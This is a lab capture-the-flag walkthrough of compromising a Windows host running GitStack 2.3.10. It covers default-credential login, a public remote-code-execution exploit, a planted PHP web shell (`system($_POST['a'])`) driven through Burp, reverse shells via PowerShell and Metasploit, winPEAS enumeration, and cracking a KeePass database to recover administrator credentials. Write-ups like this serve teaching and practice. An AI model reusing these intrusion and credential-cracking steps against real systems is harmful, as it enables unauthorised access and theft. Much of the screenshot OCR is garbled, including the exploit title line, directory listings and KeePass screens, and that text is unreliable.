Stack

Stack CyberSecLab

Nmap Scan:



From the scan we can tell its a windows machine. And we have few ports open. So I started my enumeration on port 445 which is smb but unfortunately it doesn't allow anonymous listing of shares.

But lets move on to port 80 which is a web server. When I navigated there it showed me an error that the default page is not found and if we read it well we can see the possible path its expectingso the first thing I navigated to was the gitstack directory.



After that I was redirected to a login page. Also from the look we can see its running gitstack instance and now lets try the default credential to access it.

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			GitStack						
			Default username/password : admin/admin						
			Username						
			Password						
			Sign In						

We're logged in. So the first thing I noticed was the title header of the web page which says GitStack 2.3.10 which is the version the gitstack instance is running on so lets hit searchsploit and check for known exploits.

GitStack 2.3.10 ×							
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GitStack	A 30 days trial expired. Running GitStack B	lasic edition. Learn more.					×
	Repositories						
Logout	Create and manage your repositories	S					
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Users & Groups							
Settings	Name	Command to clone			Action		
General	rTfVq	git clone http://172.31.1.12/rTfVq.git			Q. 4 2 X		
Authentication							
	Create repository						
	Name						
	The name of your repository						
	Create						
	© Copyright 2011 - 2022 Smart Mobile Software						

From the result of runningsearchsploit we can see its has a remote code execution exploit. So lets copy it to our machine and check it out.

Exploit Title	Path
sitStack 2.3.10 Remote Code Execution on the optical Room Classes Radio Landon Control Control Control Remote Code Execution on the optical Room Control	php/webapps/43777.py
Shellcodes: No Results Repositories	
(mark@H4CK)-[~/_/B2B/CyberSecLabs/Windows/Stack]	

So this exploit isn't really a fancy one where you are given option to give the exploit input directly from the terminal so I made a few adjustment for the exploit to work i.e changing the target ip.



So lets run the exploit. And from the result we can see the exploit worked and the command **whoami** was executed now lets get reverse shell via it. But firstly we need to know the path the exploit php code was placed thats as easy as checking the source code.



So the code is taking **a** as a GET parameter over the command you run. So we have to include it in the url.

← → C △ 172.311.12/web/exploit.php?a=dir ☆								☆	ତ 😣	🤴 🕘 🌘	≡
🛰 Kali Linux 🔒 Kali Tools 💆 Kali Do	ocs 🛛 Kali Forums Kali NetHunter	Exploit-DB	🛸 Google Hacking DB 🕀 GitStack 2.3	.10 🧎 OffSec	🟳 HackTheFlag	# DeHashed — #FreeTh	Offensive Security Che	R regex101: build, test, a	두 Regulex :	: JavaScript F	
Notice: Undefined index: a in C	C:\GitStack\gitphp\exploit.php	on line 1									

Warning: system(): Cannot execute a blank command in C:\GitStack\gitphp\exploit.php on line 1

But after including it, it still doesn't work now the answer is because of the php code used. We can see its using **POST** request to send command **<?php system(\$_POST['a'); ?>** so for us to fix this we need to change the request to post and this can be done using a web proxy like burp suite or using curl.



So we need to change the **GET** request to **POST**, just right click then choose change request method. After that the request should be changed to a **POST** request. And on sending it we should have our command executed.

🖉 Request to http:	://172.31.1.12:80				
Forward	Drop	Intercept is on	Action	Open Browser	
Pretty Raw	Hex loit.php?a=d	ir HTTP/1.1			
2 Host: 172.31 3 User-Agent: N 4 Accept: text, 5 Accept-Languu 6 Accept-Encodi 7 Connection: (8 Cookie: csrff 9 Upgrade-Insec 10 11	1.12 Mozīla/5.0 Ahtml,applic. age: en-US,eu close token=91htJ7 ture-Request:	(X11; Linux x86_6 (ation/xhtml+xml,a ;;q=0.5 aflate SlJtpTlloaj51jInw s: 1	4; rv:91.0) G pplication/xm upPTSWBYl; se Scan Do passive scan Do active scan Do active scan Send to Intruder Send to Intruder Send to Intruder Send to Compare Send to Compare Send to Decoder Request in brows Extensions Engagement too Change request of Change body enc	ecko/20100101 Fi l;q=0.9,image/we ssionid=d2636a1e Ctrl+1 - Ctrl+R er er > ls > method oding	<pre>irefox/91.0 ebp.*/*;q=0.8 e3048668a306fa461bccb0b5d</pre>
			Copy URL Copy as curl com	mand	
			Copy to file		
			Paste from file Save item		
🖉 Request to http:	://172.31.1.12:80				
Forward	Drop	Intercept is on	Action	Open Browser	
Pretty Raw	Hex	FD (1 1			≣ <i>N</i> ≡
<pre>3 User-Agent: ↑ 4 Accept: text, 5 Accept-Langue 6 Accept-Encodu 7 Connection: 0 8 Cookie: csrft 9 Upgrade-Insec 10 Content-Lengt 12 13 a=dir</pre>	Mozilla/5.0 (html,applic. ing: gzip, d ilose token=91htJ7 ure-Request: : application th: 5	(X11; Linux x86 6 ation/xhtml+xml,a ;g=0.5 eflate SlJtpTlloaj51jInw s: 1 n/x www form-urle	4; rv:91.0) G pplication/xm upPTSWBYl; se ncoded ///////////////////////////////////	ecko/20100101 Fi l;q=0.9,image/we ssionid=d2636a1e	irefox/91.0 e0496688300fa461bccb0b5d
rali Linux 🔗 Kali	Tools 🧧 Kali Doo	cs 📉 Kali Forums Ka	ali NetHunter 🔺 Es	kploit-DB 🔺 Google H	Hacking DB 🖶 GitStack 2.3.10 🚦 OffSec 🥅 HackTheFlag 🗰 DeHashed — #FreeTh 🛞 Offensive Security Che ℝ regex101: build, test, a 🖉 Regulex : JavaScript R 💥
" Volume in drive . 04/20/2020 . 04/13/ cac	C has no label. 08:44 PM 2020 01:43 PM he 04/13/2020 config 04/13 css 04/1 do	Volume Serial Num 4 01:44 PM (2020 01:43 PM 3/2020 01:43 PM 12/13/2022 02:32 / include 05/16 js 04/13, lib	ber is 46CA-408 AM 34 exploit.pl 0 01:43 PM 72012 01:40 PM 72020 01:43 04/13/2020 01:4 1 coale 04/13/2 template temp	I3 Directory of C:\G hp 04/13/2020 01:4 1 5,742 index.php 0 13 PM 020 01:43 PM s 04/13/2020 01:43 plates_c 2 File(s) 5,	GitStack/gitphp 04/20/2020 08:44 PM 43 PM 04/13/2020 01:43 PM 3 PM 5,776 bytes 13 Dir(s) 7,480,909,824 bytes free "

But since I prefer using curl in cases like this lets then get our reverse shell.

So I'll be using powershell reverse shell which I got from <u>revshells.com</u>. On sending the payload I received a call back from my listener.

PS C:\users\john\desktop> whoami /priv									
PRIVILEGES INFORMATION									
Privilege Name	Description	State							
SeChangeNotifyPrivilege SeImpersonatePrivilege SeCreateGlobalPrivilege SeIncreaseWorkingSetPrivilege PS C:\users\john\desktop>	Bypass traverse checking Impersonate a client after authentication Create global objects Increase a process working set	Enabled Enabled Enabled Disabled							

From the result of doing whoami /priv we see it has SeImpersonatePrivilge Enables. Now to exploit this I'll be using metasploit for it.

So I generated a windows reverse shell executable then sent it to the target. on running the binary I generated I got a call back from my metasploit listener.

But unfortunately we can't exploit that privilege because there is no available token for us to impersonate.



So next thing I did was to upload winPEAS.exe and run it. And after few seconds of winPEAS scanning the host I got this while searching the result generated by winPEAS. Its a Keepass password database, lets transfer it to our host machine and check it out.





So now we've confirmed its really a keepass password database using the file command on linux. Now to open a keepass file we make use of **keepassx** tool which can easily be downloaded using apt on linux. So lets open the file using keepassx. But its requiring a password for us to to view it.

			password_m	hanager.kdbx - K	ccrassn		
Dat	abase Entries	Groups View	Tools Help				
	≞ ≪ ≪	~ 8 0					
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But luckily for us there's a tool(keepass2john) which will convert keepass files to hash. Which John the ripper will attempt to brute force. Lets try it out.

So I used keepass2john to convert the keepass file to hash then I used john to brute force it. And from the result we see the password for the keepass file which is princess.



Now lets open up the password manager database file.

After opening it up we should get the credential for the Administrator and the user which is john

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Princess (password_manager) SyberSecLabs 1g 0:00:00 DONE (2022-12-13 04:25) 8.333g/s 66.66p/s 66.66c/s 66.66c	Windows	> admin > Ec	it entry		
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Eternal Ly	Icon Auto-Type	Username:	Administrator		
Weak Now lets open up the password manager database file	Properties	Password:	•••••	•	
SAM After opening it up we should get the credential for the Administrator and the user which	History	Repeat:	•••••	Gen.	
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Now lets login via rdp as the administrator.



And we're done:0